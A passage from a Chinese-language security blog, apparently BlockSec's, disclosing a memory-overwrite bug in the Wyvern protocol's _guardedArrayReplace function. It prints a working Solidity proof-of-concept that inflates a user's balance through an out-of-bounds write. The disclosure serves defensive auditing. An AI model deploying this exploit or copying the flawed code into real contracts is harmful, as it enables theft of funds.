返回博客

Wyvern协议新发现内存覆盖漏洞

Code Auditing
2022年9月8日
阅读约 7 分钟

引言

我们的漏洞检测系统在 Wyvern 库的最新实现中发现了一个内存覆盖漏洞。Wyvern 库属于 Wyvern 去中心化交易所协议,该协议曾被 OpenSea 使用。此漏洞可能导致任意存储写入

我们已尝试联系项目方(例如通过电子邮件和社交媒体),但尚未收到回复。鉴于 OpenSea 已迁移到 Seaport 协议,我们认为公开详细信息是安全的。此外,我们希望分享这些发现以引起社区的关注,因为该漏洞本身有点棘手,而利用它却相当有趣。

描述

易受攻击的代码可以在官方代码库中找到,提交哈希为 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9。

具体来说,此漏洞存在于 ArrayUtils.sol 的 _guardedArrayReplace() 函数中。顾名思义,此函数用于将一个动态大小的字节数组(即名为 _desired 的第二个参数)选择性地复制到另一个字节数组(即名为 array 的第一个参数)中。请注意,此函数实现为执行字级别(即 0x20 字节)操作,因此代码逻辑可以根据除法计算结果分为两个步骤。

对于商部分(即 words = array.length / 0x20),从第 42 行到第 49 行的代码逻辑将逐字复制 desired 数组到目标数组。此步骤运行正常,尽管第 39 行的断言语句由于整数算术而无用。

在执行完上一步后,如果除法产生余数,则表示仍有部分字节未被正确复制。从第 52 行到第 66 行的代码逻辑旨在处理这些字节。不幸的是,第 52 行的 if 语句错误地使用了商(words,即 array.length / 0x20)而不是余数(array.length % 0x20)来执行检查

严重性

此漏洞可能导致任意存储写入。假设 array.length 能被 0x20 整除,则复制操作实际上是在循环逻辑中完成的。然而,在大多数情况下,该函数将进入易受攻击的逻辑尝试将 desired 数组后面一个字复制到目标数组,这不可避免地会导致越界访问。更糟糕的是,这种不正确的逻辑可能被利用来在目标数组的末尾覆盖一个字,这是一个未知的内存区域,可以用于任何目的。

如何利用此漏洞?

我们开发了一个 PoC 合约来演示潜在的攻击向量。PoC 合约有两个函数,第一个名为 test(),用于执行攻击,第二个是易受攻击的 guardedArrayReplace() 函数。

具体来说,在 test() 函数中,我们首先定义了一些内存中的字节(abmask)以及一个数组(即 _rewards)。这里定义的 _rewards 将用于计算用户的奖励。在调用 guardedArrayReplace() 函数将 a 复制到 b 并使用 mask 后,_rewards 将被添加到用户的余额中(即 balances[msg.sender])。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

在这里,我们使用 Remix 来演示结果。值得注意的是,最初我们没有为 _rewardsbalances 赋值。在利用之后,用户的余额被设置为一个极大的值(如下图红色方框所示)。

结论

尽管罕见,但此类内存覆盖漏洞仍可能存在于智能合约中。开发人员需要注意操作内存的代码逻辑。

关于 BlockSec

BlockSec 是一家开创性的区块链安全公司,成立于 2021 年,由一群杰出的全球安全专家创立。公司致力于增强新兴 Web3 世界的安全性和可用性,以促进其大规模采用。为此,BlockSec 提供智能合约和 EVM 链安全审计服务,Phalcon 平台用于安全开发和主动拦截威胁,MetaSleuth 平台用于资金追踪和调查,以及 MetaDock 扩展,帮助 Web3 构建者在加密世界中高效冲浪。

迄今为止,该公司已为 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap 等 300 多家知名客户提供服务,并在两轮融资中从 Matrix Partners、Vitalbridge Capital 和 Fenbushi Capital 等杰出投资者那里获得了数千万美元的投资。

官方网站:https://blocksec.com/

官方 Twitter 账号:https://twitter.com/BlockSecTeam

订阅最新动态
约940万美元损失:Injective、Aquifer遭利用攻击 | BlockSec Weekly
Security Insights

约940万美元损失:Injective、Aquifer遭利用攻击 | BlockSec Weekly

过去一周(2026/08/31-2026/09/06),Injective、Solana、Ethereum和Flow EVM上发生四起安全事件,损失约940万美元。最大的是Injective漏洞,保险基金标识符与二元期权市场标识符冲突,结算路径未比较其面额,损失约480万美元;Solana上的Aquifer因交换路径调用未验证的调用者提供的Token Program,损失约247万美元;Ethereum上的Notional Finance V1因未检查的uint128转换将债务估值为零,损失约173万美元。Flow EVM上的Ankr FLOW因质押入口跳过暂停保护并按过时比率铸币,损失约41万美元。

超越智能合约:Web3中的域名与DNS运营安全
Security Insights

超越智能合约:Web3中的域名与DNS运营安全

合约审计只审合约本身。我们对DefiLlama TVL前100协议背后的100个域名进行了8项基于SEAL的DNS和注册商检查,共800项检查,只有一个域名全部通过。以下是大多数项目缺失的四项关键控制措施,以及它们在用户入口处为何至关重要。

Web3攻击面:渗透测试概览

Web3攻击面:渗透测试概览

加密机构承载所有传统攻击面,并叠加资金处理链。本文提供系统的实用抽象:应用、授权与签名、区块链交互、基础设施四组件模型,说明各自职责、代表实现及继承的攻击面,并将web3特有覆盖细分为五大攻击面:生产与自动化运维、签名意图、审批与提现链、资金逻辑及链上交易与已部署合约。

Web3 最佳安全审计方

在上线之前验证设计、代码与业务逻辑,对标业内最高安全标准。

BlockSec 审计